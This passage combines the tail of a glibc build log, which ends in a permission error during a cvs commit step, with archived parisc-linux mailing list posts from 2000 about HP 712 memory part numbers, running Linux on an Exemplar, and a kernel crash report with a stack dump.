-2.3/include  -include ../include/libc-symbols.h      | sed -e 's,dprintf\.o,/linux/grundler/glibc-build/stdio-common/dprintf.o /linux/grundler/glibc-build/stdio-common/dprintf.os /linux/grundler/glibc-build/stdio-common/dprintf.op /linux/grundler/glibc-build/stdio-common/dprintf.og /linux/grundler/glibc-build/stdio-common/dprintf.ob /linux/grundler/glibc-build/stdio-common/dprintf.oS /linux/grundler/glibc-build/stdio-common/dprintf.d,' -e 's@ /linux/grundler/glibc-build/@ $(common-objpfx)@g' -e 's@^/linux/grundler/glibc-build/@$(common-objpfx)@g' > /linux/grundler/glibc-build/stdio-common/dprintf.T
mv -f /linux/grundler/glibc-build/stdio-common/dprintf.T /linux/grundler/glibc-build/stdio-common/dprintf.d 
.././scripts/mkinstalldirs /linux/grundler/glibc-build/stdio-common
../linux-2.3/include  -include ../include/libc-symbols.h      | sed -e 's,asprintf\.o,/linux/grundler/glibc-build/stdio-common/asprintf.o /linux/grundler/glibc-build/stdio-common/asprintf.os /linux/grundler/glibc-build/stdio-common/asprintf.op /linux/grundler/glibc-build/stdio-common/asprintf.og /linux/grundler/glibc-build/stdio-common/asprintf.ob /linux/grundler/glibc-build/stdio-common/asprintf.oS /linux/grundler/glibc-build/stdio-common/asprintf.d,' -e 's@ /linux/grundler/glibc-build/@ $(common-objpfx)@g' -e 's@^/linux/grundler/glibc-build/@$(common-objpfx)@g' > /linux/grundler/glibc-build/stdio-common/asprintf.T
mv -f /linux/grundler/glibc-build/stdio-common/asprintf.T /linux/grundler/glibc-build/stdio-common/asprintf.d 
.././scripts/mkinstalldirs /linux/grundler/glibc-build/stdio-common
ux-2.3/include  -include ../include/libc-symbols.h      | sed -e 's,sprintf\.o,/linux/grundler/glibc-build/stdio-common/sprintf.o /linux/grundler/glibc-build/stdio-common/sprintf.os /linux/grundler/glibc-build/stdio-common/sprintf.op /linux/grundler/glibc-build/stdio-common/sprintf.og /linux/grundler/glibc-build/stdio-common/sprintf.ob /linux/grundler/glibc-build/stdio-common/sprintf.oS /linux/grundler/glibc-build/stdio-common/sprintf.d,' -e 's@ /linux/grundler/glibc-build/@ $(common-objpfx)@g' -e 's@^/linux/grundler/glibc-build/@$(common-objpfx)@g' > /linux/grundler/glibc-build/stdio-common/sprintf.T
mv -f /linux/grundler/glibc-build/stdio-common/sprintf.T /linux/grundler/glibc-build/stdio-common/sprintf.d 
.././scripts/mkinstalldirs /linux/grundler/glibc-build/stdio-common
d/../linux-2.3/include  -include ../include/libc-symbols.h      | sed -e 's,snprintf\.o,/linux/grundler/glibc-build/stdio-common/snprintf.o /linux/grundler/glibc-build/stdio-common/snprintf.os /linux/grundler/glibc-build/stdio-common/snprintf.op /linux/grundler/glibc-build/stdio-common/snprintf.og /linux/grundler/glibc-build/stdio-common/snprintf.ob /linux/grundler/glibc-build/stdio-common/snprintf.oS /linux/grundler/glibc-build/stdio-common/snprintf.d,' -e 's@ /linux/grundler/glibc-build/@ $(common-objpfx)@g' -e 's@^/linux/grundler/glibc-build/@$(common-objpfx)@g' > /linux/grundler/glibc-build/stdio-common/snprintf.T
mv -f /linux/grundler/glibc-build/stdio-common/snprintf.T /linux/grundler/glibc-build/stdio-common/snprintf.d 
.././scripts/mkinstalldirs /linux/grundler/glibc-build/stdio-common
nux-2.3/include  -include ../include/libc-symbols.h      | sed -e 's,printf\.o,/linux/grundler/glibc-build/stdio-common/printf.o /linux/grundler/glibc-build/stdio-common/printf.os /linux/grundler/glibc-build/stdio-common/printf.op /linux/grundler/glibc-build/stdio-common/printf.og /linux/grundler/glibc-build/stdio-common/printf.ob /linux/grundler/glibc-build/stdio-common/printf.oS /linux/grundler/glibc-build/stdio-common/printf.d,' -e 's@ /linux/grundler/glibc-build/@ $(common-objpfx)@g' -e 's@^/linux/grundler/glibc-build/@$(common-objpfx)@g' > /linux/grundler/glibc-build/stdio-common/printf.T
mv -f /linux/grundler/glibc-build/stdio-common/printf.T /linux/grundler/glibc-build/stdio-common/printf.d 
.././scripts/mkinstalldirs /linux/grundler/glibc-build/stdio-common
2.3/include  -include ../include/libc-symbols.h      | sed -e 's,fprintf\.o,/linux/grundler/glibc-build/stdio-common/fprintf.o /linux/grundler/glibc-build/stdio-common/fprintf.os /linux/grundler/glibc-build/stdio-common/fprintf.op /linux/grundler/glibc-build/stdio-common/fprintf.og /linux/grundler/glibc-build/stdio-common/fprintf.ob /linux/grundler/glibc-build/stdio-common/fprintf.oS /linux/grundler/glibc-build/stdio-common/fprintf.d,' -e 's@ /linux/grundler/glibc-build/@ $(common-objpfx)@g' -e 's@^/linux/grundler/glibc-build/@$(common-objpfx)@g' > /linux/grundler/glibc-build/stdio-common/fprintf.T
mv -f /linux/grundler/glibc-build/stdio-common/fprintf.T /linux/grundler/glibc-build/stdio-common/fprintf.d 
.././scripts/mkinstalldirs /linux/grundler/glibc-build/stdio-common
d/../linux-2.3/include  -include ../include/libc-symbols.h      | sed -e 's,printf_size\.o,/linux/grundler/glibc-build/stdio-common/printf_size.o /linux/grundler/glibc-build/stdio-common/printf_size.os /linux/grundler/glibc-build/stdio-common/printf_size.op /linux/grundler/glibc-build/stdio-common/printf_size.og /linux/grundler/glibc-build/stdio-common/printf_size.ob /linux/grundler/glibc-build/stdio-common/printf_size.oS /linux/grundler/glibc-build/stdio-common/printf_size.d,' -e 's@ /linux/grundler/glibc-build/@ $(common-objpfx)@g' -e 's@^/linux/grundler/glibc-build/@$(common-objpfx)@g' > /linux/grundler/glibc-build/stdio-common/printf_size.T
mv -f /linux/grundler/glibc-build/stdio-common/printf_size.T /linux/grundler/glibc-build/stdio-common/printf_size.d 
.././scripts/mkinstalldirs /linux/grundler/glibc-build/stdio-common
isystem /linux/grundler/glibc-build/../linux-2.3/include  -include ../include/libc-symbols.h      | sed -e 's,printf_fphex\.o,/linux/grundler/glibc-build/stdio-common/printf_fphex.o /linux/grundler/glibc-build/stdio-common/printf_fphex.os /linux/grundler/glibc-build/stdio-common/printf_fphex.op /linux/grundler/glibc-build/stdio-common/printf_fphex.og /linux/grundler/glibc-build/stdio-common/printf_fphex.ob /linux/grundler/glibc-build/stdio-common/printf_fphex.oS /linux/grundler/glibc-build/stdio-common/printf_fphex.d,' -e 's@ /linux/grundler/glibc-build/@ $(common-objpfx)@g' -e 's@^/linux/grundler/glibc-build/@$(common-objpfx)@g' > /linux/grundler/glibc-build/stdio-common/printf_fphex.T
mv -f /linux/grundler/glibc-build/stdio-common/printf_fphex.T /linux/grundler/glibc-build/stdio-common/printf_fphex.d 
.././scripts/mkinstalldirs /linux/grundler/glibc-build/stdio-common
./linux-2.3/include  -include ../include/libc-symbols.h      | sed -e 's,printf-prs\.o,/linux/grundler/glibc-build/stdio-common/printf-prs.o /linux/grundler/glibc-build/stdio-common/printf-prs.os /linux/grundler/glibc-build/stdio-common/printf-prs.op /linux/grundler/glibc-build/stdio-common/printf-prs.og /linux/grundler/glibc-build/stdio-common/printf-prs.ob /linux/grundler/glibc-build/stdio-common/printf-prs.oS /linux/grundler/glibc-build/stdio-common/printf-prs.d,' -e 's@ /linux/grundler/glibc-build/@ $(common-objpfx)@g' -e 's@^/linux/grundler/glibc-build/@$(common-objpfx)@g' > /linux/grundler/glibc-build/stdio-common/printf-prs.T
mv -f /linux/grundler/glibc-build/stdio-common/printf-prs.T /linux/grundler/glibc-build/stdio-common/printf-prs.d 
.././scripts/mkinstalldirs /linux/grundler/glibc-build/stdio-common
-2.3/include  -include ../include/libc-symbols.h      | sed -e 's,reg-printf\.o,/linux/grundler/glibc-build/stdio-common/reg-printf.o /linux/grundler/glibc-build/stdio-common/reg-printf.os /linux/grundler/glibc-build/stdio-common/reg-printf.op /linux/grundler/glibc-build/stdio-common/reg-printf.og /linux/grundler/glibc-build/stdio-common/reg-printf.ob /linux/grundler/glibc-build/stdio-common/reg-printf.oS /linux/grundler/glibc-build/stdio-common/reg-printf.d,' -e 's@ /linux/grundler/glibc-build/@ $(common-objpfx)@g' -e 's@^/linux/grundler/glibc-build/@$(common-objpfx)@g' > /linux/grundler/glibc-build/stdio-common/reg-printf.T
mv -f /linux/grundler/glibc-build/stdio-common/reg-printf.T /linux/grundler/glibc-build/stdio-common/reg-printf.d 
.././scripts/mkinstalldirs /linux/grundler/glibc-build/stdio-common
ibc-build/../linux-2.3/include  -include ../include/libc-symbols.h      | sed -e 's,printf_fp\.o,/linux/grundler/glibc-build/stdio-common/printf_fp.o /linux/grundler/glibc-build/stdio-common/printf_fp.os /linux/grundler/glibc-build/stdio-common/printf_fp.op /linux/grundler/glibc-build/stdio-common/printf_fp.og /linux/grundler/glibc-build/stdio-common/printf_fp.ob /linux/grundler/glibc-build/stdio-common/printf_fp.oS /linux/grundler/glibc-build/stdio-common/printf_fp.d,' -e 's@ /linux/grundler/glibc-build/@ $(common-objpfx)@g' -e 's@^/linux/grundler/glibc-build/@$(common-objpfx)@g' > /linux/grundler/glibc-build/stdio-common/printf_fp.T
mv -f /linux/grundler/glibc-build/stdio-common/printf_fp.T /linux/grundler/glibc-build/stdio-common/printf_fp.d 
.././scripts/mkinstalldirs /linux/grundler/glibc-build/stdio-common
3/include  -include ../include/libc-symbols.h      | sed -e 's,vprintf\.o,/linux/grundler/glibc-build/stdio-common/vprintf.o /linux/grundler/glibc-build/stdio-common/vprintf.os /linux/grundler/glibc-build/stdio-common/vprintf.op /linux/grundler/glibc-build/stdio-common/vprintf.og /linux/grundler/glibc-build/stdio-common/vprintf.ob /linux/grundler/glibc-build/stdio-common/vprintf.oS /linux/grundler/glibc-build/stdio-common/vprintf.d,' -e 's@ /linux/grundler/glibc-build/@ $(common-objpfx)@g' -e 's@^/linux/grundler/glibc-build/@$(common-objpfx)@g' > /linux/grundler/glibc-build/stdio-common/vprintf.T
mv -f /linux/grundler/glibc-build/stdio-common/vprintf.T /linux/grundler/glibc-build/stdio-common/vprintf.d 
.././scripts/mkinstalldirs /linux/grundler/glibc-build/stdio-common
er/glibc-build/../linux-2.3/include  -include ../include/libc-symbols.h      | sed -e 's,vfprintf\.o,/linux/grundler/glibc-build/stdio-common/vfprintf.o /linux/grundler/glibc-build/stdio-common/vfprintf.os /linux/grundler/glibc-build/stdio-common/vfprintf.op /linux/grundler/glibc-build/stdio-common/vfprintf.og /linux/grundler/glibc-build/stdio-common/vfprintf.ob /linux/grundler/glibc-build/stdio-common/vfprintf.oS /linux/grundler/glibc-build/stdio-common/vfprintf.d,' -e 's@ /linux/grundler/glibc-build/@ $(common-objpfx)@g' -e 's@^/linux/grundler/glibc-build/@$(common-objpfx)@g' > /linux/grundler/glibc-build/stdio-common/vfprintf.T
mv -f /linux/grundler/glibc-build/stdio-common/vfprintf.T /linux/grundler/glibc-build/stdio-common/vfprintf.d 
.././scripts/mkinstalldirs /linux/grundler/glibc-build/stdio-common
r/glibc-build/../linux-2.3/include  -include ../include/libc-symbols.h      | sed -e 's,itowa-digits\.o,/linux/grundler/glibc-build/stdio-common/itowa-digits.o /linux/grundler/glibc-build/stdio-common/itowa-digits.os /linux/grundler/glibc-build/stdio-common/itowa-digits.op /linux/grundler/glibc-build/stdio-common/itowa-digits.og /linux/grundler/glibc-build/stdio-common/itowa-digits.ob /linux/grundler/glibc-build/stdio-common/itowa-digits.oS /linux/grundler/glibc-build/stdio-common/itowa-digits.d,' -e 's@ /linux/grundler/glibc-build/@ $(common-objpfx)@g' -e 's@^/linux/grundler/glibc-build/@$(common-objpfx)@g' > /linux/grundler/glibc-build/stdio-common/itowa-digits.T
mv -f /linux/grundler/glibc-build/stdio-common/itowa-digits.T /linux/grundler/glibc-build/stdio-common/itowa-digits.d 
.././scripts/mkinstalldirs /linux/grundler/glibc-build/stdio-common
ild/../linux-2.3/include  -include ../include/libc-symbols.h      | sed -e 's,itoa-digits\.o,/linux/grundler/glibc-build/stdio-common/itoa-digits.o /linux/grundler/glibc-build/stdio-common/itoa-digits.os /linux/grundler/glibc-build/stdio-common/itoa-digits.op /linux/grundler/glibc-build/stdio-common/itoa-digits.og /linux/grundler/glibc-build/stdio-common/itoa-digits.ob /linux/grundler/glibc-build/stdio-common/itoa-digits.oS /linux/grundler/glibc-build/stdio-common/itoa-digits.d,' -e 's@ /linux/grundler/glibc-build/@ $(common-objpfx)@g' -e 's@^/linux/grundler/glibc-build/@$(common-objpfx)@g' > /linux/grundler/glibc-build/stdio-common/itoa-digits.T
mv -f /linux/grundler/glibc-build/stdio-common/itoa-digits.T /linux/grundler/glibc-build/stdio-common/itoa-digits.d 
.././scripts/mkinstalldirs /linux/grundler/glibc-build/stdio-common
bc-build/../linux-2.3/include  -include ../include/libc-symbols.h      | sed -e 's,_i18n_itowa\.o,/linux/grundler/glibc-build/stdio-common/_i18n_itowa.o /linux/grundler/glibc-build/stdio-common/_i18n_itowa.os /linux/grundler/glibc-build/stdio-common/_i18n_itowa.op /linux/grundler/glibc-build/stdio-common/_i18n_itowa.og /linux/grundler/glibc-build/stdio-common/_i18n_itowa.ob /linux/grundler/glibc-build/stdio-common/_i18n_itowa.oS /linux/grundler/glibc-build/stdio-common/_i18n_itowa.d,' -e 's@ /linux/grundler/glibc-build/@ $(common-objpfx)@g' -e 's@^/linux/grundler/glibc-build/@$(common-objpfx)@g' > /linux/grundler/glibc-build/stdio-common/_i18n_itowa.T
mv -f /linux/grundler/glibc-build/stdio-common/_i18n_itowa.T /linux/grundler/glibc-build/stdio-common/_i18n_itowa.d 
.././scripts/mkinstalldirs /linux/grundler/glibc-build/stdio-common
/glibc-build/../linux-2.3/include  -include ../include/libc-symbols.h      | sed -e 's,_i18n_itoa\.o,/linux/grundler/glibc-build/stdio-common/_i18n_itoa.o /linux/grundler/glibc-build/stdio-common/_i18n_itoa.os /linux/grundler/glibc-build/stdio-common/_i18n_itoa.op /linux/grundler/glibc-build/stdio-common/_i18n_itoa.og /linux/grundler/glibc-build/stdio-common/_i18n_itoa.ob /linux/grundler/glibc-build/stdio-common/_i18n_itoa.oS /linux/grundler/glibc-build/stdio-common/_i18n_itoa.d,' -e 's@ /linux/grundler/glibc-build/@ $(common-objpfx)@g' -e 's@^/linux/grundler/glibc-build/@$(common-objpfx)@g' > /linux/grundler/glibc-build/stdio-common/_i18n_itoa.T
mv -f /linux/grundler/glibc-build/stdio-common/_i18n_itoa.T /linux/grundler/glibc-build/stdio-common/_i18n_itoa.d 
.././scripts/mkinstalldirs /linux/grundler/glibc-build/stdio-common
d/../linux-2.3/include  -include ../include/libc-symbols.h      | sed -e 's,_itowa\.o,/linux/grundler/glibc-build/stdio-common/_itowa.o /linux/grundler/glibc-build/stdio-common/_itowa.os /linux/grundler/glibc-build/stdio-common/_itowa.op /linux/grundler/glibc-build/stdio-common/_itowa.og /linux/grundler/glibc-build/stdio-common/_itowa.ob /linux/grundler/glibc-build/stdio-common/_itowa.oS /linux/grundler/glibc-build/stdio-common/_itowa.d,' -e 's@ /linux/grundler/glibc-build/@ $(common-objpfx)@g' -e 's@^/linux/grundler/glibc-build/@$(common-objpfx)@g' > /linux/grundler/glibc-build/stdio-common/_itowa.T
mv -f /linux/grundler/glibc-build/stdio-common/_itowa.T /linux/grundler/glibc-build/stdio-common/_itowa.d 
.././scripts/mkinstalldirs /linux/grundler/glibc-build/stdio-common
inux-2.3/include  -include ../include/libc-symbols.h      | sed -e 's,_itoa\.o,/linux/grundler/glibc-build/stdio-common/_itoa.o /linux/grundler/glibc-build/stdio-common/_itoa.os /linux/grundler/glibc-build/stdio-common/_itoa.op /linux/grundler/glibc-build/stdio-common/_itoa.og /linux/grundler/glibc-build/stdio-common/_itoa.ob /linux/grundler/glibc-build/stdio-common/_itoa.oS /linux/grundler/glibc-build/stdio-common/_itoa.d,' -e 's@ /linux/grundler/glibc-build/@ $(common-objpfx)@g' -e 's@^/linux/grundler/glibc-build/@$(common-objpfx)@g' > /linux/grundler/glibc-build/stdio-common/_itoa.T
mv -f /linux/grundler/glibc-build/stdio-common/_itoa.T /linux/grundler/glibc-build/stdio-common/_itoa.d 
.././scripts/mkinstalldirs /linux/grundler/glibc-build/stdio-common
/grundler/glibc-build/../linux-2.3/include  -include ../include/libc-symbols.h      | sed -e 's,cuserid\.o,/linux/grundler/glibc-build/stdio-common/cuserid.o /linux/grundler/glibc-build/stdio-common/cuserid.os /linux/grundler/glibc-build/stdio-common/cuserid.op /linux/grundler/glibc-build/stdio-common/cuserid.og /linux/grundler/glibc-build/stdio-common/cuserid.ob /linux/grundler/glibc-build/stdio-common/cuserid.oS /linux/grundler/glibc-build/stdio-common/cuserid.d,' -e 's@ /linux/grundler/glibc-build/@ $(common-objpfx)@g' -e 's@^/linux/grundler/glibc-build/@$(common-objpfx)@g' > /linux/grundler/glibc-build/stdio-common/cuserid.T
mv -f /linux/grundler/glibc-build/stdio-common/cuserid.T /linux/grundler/glibc-build/stdio-common/cuserid.d 
.././scripts/mkinstalldirs /linux/grundler/glibc-build/stdio-common
/grundler/glibc-build/../linux-2.3/include  -include ../include/libc-symbols.h      | sed -e 's,ctermid\.o,/linux/grundler/glibc-build/stdio-common/ctermid.o /linux/grundler/glibc-build/stdio-common/ctermid.os /linux/grundler/glibc-build/stdio-common/ctermid.op /linux/grundler/glibc-build/stdio-common/ctermid.og /linux/grundler/glibc-build/stdio-common/ctermid.ob /linux/grundler/glibc-build/stdio-common/ctermid.oS /linux/grundler/glibc-build/stdio-common/ctermid.d,' -e 's@ /linux/grundler/glibc-build/@ $(common-objpfx)@g' -e 's@^/linux/grundler/glibc-build/@$(common-objpfx)@g' > /linux/grundler/glibc-build/stdio-common/ctermid.T
mv -f /linux/grundler/glibc-build/stdio-common/ctermid.T /linux/grundler/glibc-build/stdio-common/ctermid.d 
make[2]: Leaving directory `/linux/grundler/glibc/stdio-common'
make[2]: Entering directory `/linux/grundler/glibc/stdio-common'
mawk -f ../sysdeps/gnu/errlist.awk ../manual/errno.texi > ../sysdeps/gnu/errlist.c-tmp
chmod a-w ../sysdeps/gnu/errlist.c-tmp
mv -f ../sysdeps/gnu/errlist.c-tmp ../sysdeps/gnu/errlist.c
test ! -d CVS || cvs commit -m'Regenerated from ../sysdeps/gnu/errlist.awk ../manual/errno.texi' ../sysdeps/gnu/errlist.c
Permission denied
make[2]: *** [../sysdeps/gnu/errlist.c] Error 1
make[2]: Leaving directory `/linux/grundler/glibc/stdio-common'
make[1]: *** [stdio-common/subdir_lib] Error 2
make[1]: Leaving directory `/linux/grundler/glibc'
make: *** [all] Error 2


From - Thu Nov 08 21:13:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Park <apark@cdf.toronto.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 712/80
Date: Tue, 1 Aug 2000 12:00:10 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.21.0008011158050.19559-100000@misty.cdf>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619027 1980 80.91.229.3 (22 Nov 2014 01:17:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:07 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: apark@cdf.toronto.edu  Tue Aug  1 09:58:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA26532
	for <parisc-linux@puffin.external.hp.com>; Tue, 1 Aug 2000 09:58:28 -0600
Original-Received: (qmail 10236 invoked by uid 15267); 1 Aug 2000 16:00:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10196 invoked from network); 1 Aug 2000 16:00:31 -0000
Original-Received: from marvin.cdf.toronto.edu (postfix@128.100.31.3)
  by mailserv2.iuinc.com with SMTP; 1 Aug 2000 16:00:31 -0000
Original-Received: by marvin.cdf.toronto.edu (Postfix, from userid 605)
	id 3C2493C12; Tue,  1 Aug 2000 12:00:11 -0400 (EDT)
X-Sender: apark@misty.cdf
Xref: news.gmane.org gmane.linux.ports.parisc:7633

Hi, all

I have a 712/80, it does not have memory.  I've been looking around
to buy some, but I still do not know the part number to place in an
order.  Does anybody know the part number of the memory for a 712/80?
Thanks


Andrew Park
           
________________________________________________________________________ 
CDFlab Systems Administrator                       www.cdf.utoronto.ca |
Team BlueShirt Developer                             www.blueshirt.org |
GnuPG Signature              www.cdf.utoronto.ca/~apark/public_key.txt |
------------------------------------------------------------------------


From - Thu Nov 08 21:13:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrik Pira <papira@telia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/80
Date: Tue, 01 Aug 2000 19:48:16 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <39870D60.94D02ECA@telia.com>
References: <Pine.SOL.4.21.0008011158050.19559-100000@misty.cdf>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619027 1984 80.91.229.3 (22 Nov 2014 01:17:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:07 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: papira@telia.com  Tue Aug  1 11:46:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA27708
	for <parisc-linux@puffin.external.hp.com>; Tue, 1 Aug 2000 11:46:21 -0600
Original-Received: (qmail 3467 invoked by uid 15267); 1 Aug 2000 17:48:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3392 invoked from network); 1 Aug 2000 17:48:20 -0000
Original-Received: from d1o974.telia.com (root@212.181.169.241)
  by mailserv2.iuinc.com with SMTP; 1 Aug 2000 17:48:20 -0000
Original-Received: from guppi.homeip.net (root@h148n1fls21o974.telia.com [213.64.95.148])
	by d1o974.telia.com (8.8.8/8.8.8) with ESMTP id TAA19447
	for <parisc-linux@thepuffingroup.com>; Tue, 1 Aug 2000 19:48:18 +0200 (CEST)
Original-Received: from telia.com (IDENT:papira@localhost.localdomain [127.0.0.1])
	by guppi.homeip.net (8.9.3/8.9.3) with ESMTP id TAA01650
	for <parisc-linux@thepuffingroup.com>; Tue, 1 Aug 2000 19:48:16 +0200
Original-Sender: papira@guppi.homeip.net
X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.4.0-test5 i686)
X-Accept-Language: sv,en-US
Xref: news.gmane.org gmane.linux.ports.parisc:7634

I have 16MB SIMs for my 712/60, they have part no A2576-60001 according
to the sticker on them.

Andrew Park wrote:
> 
> Hi, all
> 
> I have a 712/80, it does not have memory.  I've been looking around
> to buy some, but I still do not know the part number to place in an
> order.  Does anybody know the part number of the memory for a 712/80?
> Thanks
> 
> Andrew Park
> 
> ________________________________________________________________________
> CDFlab Systems Administrator                       www.cdf.utoronto.ca |
> Team BlueShirt Developer                             www.blueshirt.org |
> GnuPG Signature              www.cdf.utoronto.ca/~apark/public_key.txt |
> ------------------------------------------------------------------------
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

--
Regards

Patrik Pira
UNIX/Linux Sysadm
papira (at) swipnet dot se
GnuPG key at http://guppi.homeip.net/pgp-keys/
--


From - Thu Nov 08 21:13:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Massa <int19@hydra.acs.uci.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A question...
Date: Tue, 1 Aug 2000 13:14:54 -0700 (PDT)
Lines: 8
Approved: news@gmane.org
Message-ID: <200008012014.NAA08622@miami.acs.uci.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619027 1986 80.91.229.3 (22 Nov 2014 01:17:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:07 +0000 (UTC)
Cc: recipient list not shown: ;
Original-X-From: int19@hydra.acs.uci.edu  Tue Aug  1 14:16:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA29195
	for <parisc-linux@puffin.external.hp.com>; Tue, 1 Aug 2000 14:16:27 -0600
Original-Received: (qmail 8946 invoked by uid 15267); 1 Aug 2000 20:18:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8915 invoked from network); 1 Aug 2000 20:18:22 -0000
Original-Received: from hydra.acs.uci.edu (128.200.16.3)
  by mailserv2.iuinc.com with SMTP; 1 Aug 2000 20:18:22 -0000
Original-Received: from miami.acs.uci.edu (miami.acs.uci.edu [128.200.34.11])
	by hydra.acs.uci.edu (8.9.3/8.9.3) with ESMTP id NAA24603
	for <parisc-linux@thepuffingroup.com.>; Tue, 1 Aug 2000 13:18:19 -0700 (PDT)
Original-Received: (from int19@localhost) by miami.acs.uci.edu (8.9.3/) id NAA08622 for parisc-linux@thepuffingroup.com; Tue, 1 Aug 2000 13:14:54 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7635

Hello everyone,

I've got this exemplar in my office, it has 16 233 megahertz processors.  I was
wondering if its possible to run parisc-linux on the machine...

Thanks,
Richard Massa


From - Thu Nov 08 21:13:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Repeatable crash in remove_inode_page()
Date: Wed, 2 Aug 2000 15:45:06 +0100
Lines: 164
Approved: news@gmane.org
Message-ID: <20000802154506.Q17139@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619028 1992 80.91.229.3 (22 Nov 2014 01:17:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:08 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Wed Aug  2 08:44:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA22879
	for <parisc-linux@puffin.external.hp.com>; Wed, 2 Aug 2000 08:44:07 -0600
Original-Received: (qmail 25719 invoked by uid 15267); 2 Aug 2000 14:46:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25665 invoked from network); 2 Aug 2000 14:46:09 -0000
Original-Received: from user32-1.jakinternet.co.uk (HELO rhirst.linuxcare.com) (@212.41.32.1)
  by mailserv2.iuinc.com with SMTP; 2 Aug 2000 14:46:09 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id DE074B005; Wed,  2 Aug 2000 15:45:06 +0100 (BST)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:7636

Hi,
  After a few seconds of heavy disk access I always see the following
crash at IAOQ = c0130b28 = remove_inode_page() + 0x4c.

Kernel source cvs updated today,  gcc from xc-20000728.tgz, but it
was probably happening before those updates also.

Richard


Dumping Stack from c7dc4000 to c7dc4a00:
4000 00000000 00000000 00000000 00000001 c0270bf0 00000000 00000000 ffffffff
4020 00000005 00000014 00000000 c7eff180 c7eff180 00000000 00000000 c026d6d0
4040 c026d6d0 c02a4000 c7e5c000 00000000 c027463c 00000000 00000012 00000000
4060 00000000 c0000000 00000016 00000000 00000000 00000000 00000000 c7e5c000
4080 c7e5c000 00000000 00000000 00000000 00000000 c02c720c 00000000 c7dc409c
40a0 c7dc409c c7dc40a4 c01216cc 00000000 00000000 00000000 00000000 00000000
40c0 00000000 00000000 00000000 00000000 00000000 00000000 c7dc4000 c0126d10
40e0 00000000 00000000 00000016 00000000 00000000 00003949 00000000 000001e2
4100 00000000 00000000 00000000 00000000 00000000 00000000 80000000 00000000
4120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
41a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
41c0 fffffeff fffffeff fffffeff 00000000 00000000 ffffffff ffffffff ffffffff
41e0 ffffffff ffffffff ffffffff 00800000 05000000 00000000 ffffffff ffffffff
4200 ffffffff 00000800 00000800 00000400 00000400 ffffffff ffffffff ffffffff
4220 ffffffff 0000726d 00000065 72000000 00000000 00000000 00000000 00000000
4240 00000000 00000000 0004ff0b 200201c4 00023c33 00000001 2001f70c 2001f953
4260 2001f950 00023c50 00000000 00000000 00023c20 00000000 00000001 0000005f
4280 00000000 00000000 c02a4600 c7f98000 c0277708 00008000 0000000a 2001f953
42a0 00000001 00000000 00000000 20020208 2001f9a1 000bdc88 0000000b ffffffff
